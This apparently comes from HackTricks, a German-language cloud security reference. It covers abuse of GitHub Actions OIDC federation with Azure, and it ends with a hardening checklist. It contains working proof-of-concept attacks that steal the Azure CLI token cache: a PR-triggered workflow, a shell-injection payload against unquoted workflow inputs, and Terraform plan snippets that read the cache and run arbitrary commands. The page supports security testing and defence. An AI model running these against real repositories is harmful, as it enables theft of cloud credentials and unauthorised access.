Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)

Reading time: 8 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Übersicht

GitHub Actions kann über OpenID Connect (OIDC) mit Azure Entra ID (früher Azure AD) föderieren. Ein GitHub-Workflow fordert ein kurzlebiges GitHub ID token (JWT) an, das Details zum Run kodiert. Azure validiert dieses Token gegen ein Federated Identity Credential (FIC) in einer App Registration (service principal) und tauscht es gegen Azure access tokens (MSAL cache, bearer tokens für Azure APIs).

Azure validiert mindestens:

  • iss: https://token.actions.githubusercontent.com
  • aud: api://AzureADTokenExchange (when exchanging for Azure tokens)
  • sub: muss mit dem konfigurierten FIC Subject identifier übereinstimmen

Der standardmäßige GitHub aud kann eine GitHub-URL sein. Beim Austausch mit Azure sollte explizit audience=api://AzureADTokenExchange gesetzt werden.

GitHub ID token quick PoC

yaml
name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
# Base64 avoid GitHub masking
echo "$OIDC_TOKEN" | base64 -w0

Um die Azure-Audience bei der Token-Anfrage zu erzwingen:

bash
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")

Azure-Einrichtung (Workload Identity Federation)

  1. Erstellen Sie eine App Registration (service principal) und gewähren Sie die geringsten Berechtigungen (z. B. Storage Blob Data Contributor für ein bestimmtes Storage-Konto).

  2. Fügen Sie Federated identity credentials hinzu:

  • Issuer: https://token.actions.githubusercontent.com
  • Audience: api://AzureADTokenExchange
  • Subject identifier: eng auf den vorgesehenen Workflow/Run-Kontext begrenzt (siehe Scoping and risks weiter unten).
  1. Verwenden Sie azure/login, um das GitHub ID-Token auszutauschen und sich bei der Azure CLI anzumelden:
yaml
name: Deploy to Azure
on:
push: { branches: [main] }
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Az CLI login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob \
--account-name sofiatest --auth-mode login

Beispiel für einen manuellen Austausch (Graph-Scope gezeigt; ARM oder andere Ressourcen ähnlich):

http
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded

client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default

GitHub OIDC subject (sub) Aufbau und Anpassung

Default sub format: repo:/:

Kontextwerte umfassen:

  • environment:
  • pull_request (PR triggers when not in an environment)
  • ref:refs/(heads|tags)/

Nützliche Claims, die häufig im Payload enthalten sind:

  • repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor

Passe die sub-Zusammensetzung über die GitHub API an, um zusätzliche Claims aufzunehmen und das Kollisionsrisiko zu verringern:

bash
gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
--method PUT \
repos/<org>/<repo>/actions/oidc/customization/sub \
-f use_default=false \
-f include_claim_keys='["repository_owner","repository_visibility"]'

Hinweis: Doppelpunkte in Umgebungsnamen sind URL‑kodiert (%3A), wodurch ältere Delimiter‑Injection‑Tricks beim sub‑Parsing entfernt werden. Die Verwendung nicht‑eindeutiger subject‑Werte (z. B. nur environment:) bleibt jedoch unsicher.

Umfang und Risiken der FIC-Subject-Typen

  • Branch/Tag: sub=repo:/:ref:refs/heads/ or ref:refs/tags/
  • Risiko: Wenn der Branch/Tag ungeschützt ist, kann jeder Contributor pushen und Tokens erhalten.
  • Environment: sub=repo:/:environment:
  • Risiko: Ungeschützte Environments (keine Reviewer) erlauben es Contributors, Tokens zu erzeugen.
  • Pull request: sub=repo:/:pull_request
  • Höchstes Risiko: Jeder Collaborator kann einen PR öffnen und die FIC‑Bedingung erfüllen.

PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login):

yaml
name: Steal tokens
on: pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
# Azure CLI caches tokens here on Linux runners
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token

Zugehörige Dateipfade und Hinweise:

  • Linux/macOS: ~/.azure/msal_token_cache.json enthält MSAL-Token für az CLI-Sitzungen
  • Windows: msal_token_cache.bin im Benutzerprofil; DPAPI-geschützt

Wiederverwendbare Workflows und job_workflow_ref-Scoping

Das Aufrufen eines wiederverwendbaren Workflows fügt job_workflow_ref dem GitHub ID token hinzu, z. B.:

ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main

FIC-Beispiel, um sowohl das caller repo als auch den reusable workflow zu binden:

sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>

Konfiguriere claims im caller repo, sodass sowohl repo als auch job_workflow_ref im sub vorhanden sind:

http
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>

{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}

Warnung: Wenn du nur job_workflow_ref im FIC bindest, könnte ein Angreifer ein anderes repo in derselben org erstellen, denselben reusable workflow auf demselben ref ausführen, das FIC erfüllen und Tokens minten. Schließe stets auch das caller repo ein.

Vektoren zur Codeausführung, die den job_workflow_ref-Schutz umgehen

Selbst mit korrekt eingeschränktem job_workflow_ref können alle vom caller kontrollierten Daten, die ohne sicheres Quoting in die shell gelangen, zur Codeausführung innerhalb des geschützten Workflow-Kontexts führen.

Beispiel für einen verwundbaren reusable step (ungequotete Interpolation):

yaml
- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"; exit 1
else
echo "File contents are safe."
fi

Bösartige Eingabe durch einen Caller, um Befehle auszuführen und den Azure Token-Cache zu exfiltrieren:

yaml
with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'

Terraform plan als Ausführungsprimitive in PRs

Behandle terraform plan als Codeausführung. Während des plan-Vorgangs kann Terraform:

  • Beliebige Dateien lesen über Funktionen wie file()
  • Befehle ausführen über die external data source

Beispiel, um den Azure token cache während des plan zu exfiltrate:

hcl
output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}

Oder verwende external, um beliebige Befehle auszuführen:

hcl
data "external" "exfil" {
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}

Die Gewährung von FICs, die in PR‑ausgelösten plans verwendbar sind, legt privilegierte Tokens offen und kann später zu zerstörerischen apply‑Vorgängen führen. Trenne Identitäten für plan vs apply; erlaube niemals privilegierte Tokens in nicht vertrauenswürdigen PR‑Kontexten.

Härtungs-Checkliste

  • Never use sub=...:pull_request for sensitive FICs
  • Schütze jeden Branch/Tag/Environment, der/das von FICs referenziert wird (branch protection, environment reviewers)
  • Prefer FICs scoped to both repo and job_workflow_ref for reusable workflows
  • Passe den GitHub OIDC sub an, um eindeutige Claims einzuschließen (z. B. repo, job_workflow_ref, repository_owner)
  • Eliminiere nicht in Anführungszeichen gesetzte Interpolation von Aufrufer-Eingaben in run‑Schritten; sichere Kodierung/Quotierung
  • Behandle terraform plan als Codeausführung; beschränke oder isoliere Identitäten in PR‑Kontexten
  • Durchsetze Least Privilege bei App Registrations; separate Identitäten für plan vs apply
  • Pin actions und reusable workflows auf Commit‑SHAs (vermeide Branch/Tag‑Pins)

Tipps für manuelle Tests

  • Request a GitHub ID token in‑workflow and print it base64 to avoid masking
  • Dekodiere das JWT, um Claims zu prüfen: iss, aud, sub, job_workflow_ref, repository, ref
  • Manually exchange the ID token against login.microsoftonline.com to confirm FIC matching and scopes
  • Nach azure/login, lies ~/.azure/msal_token_cache.json, um das Vorhandensein von Token‑Material zu verifizieren

References

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks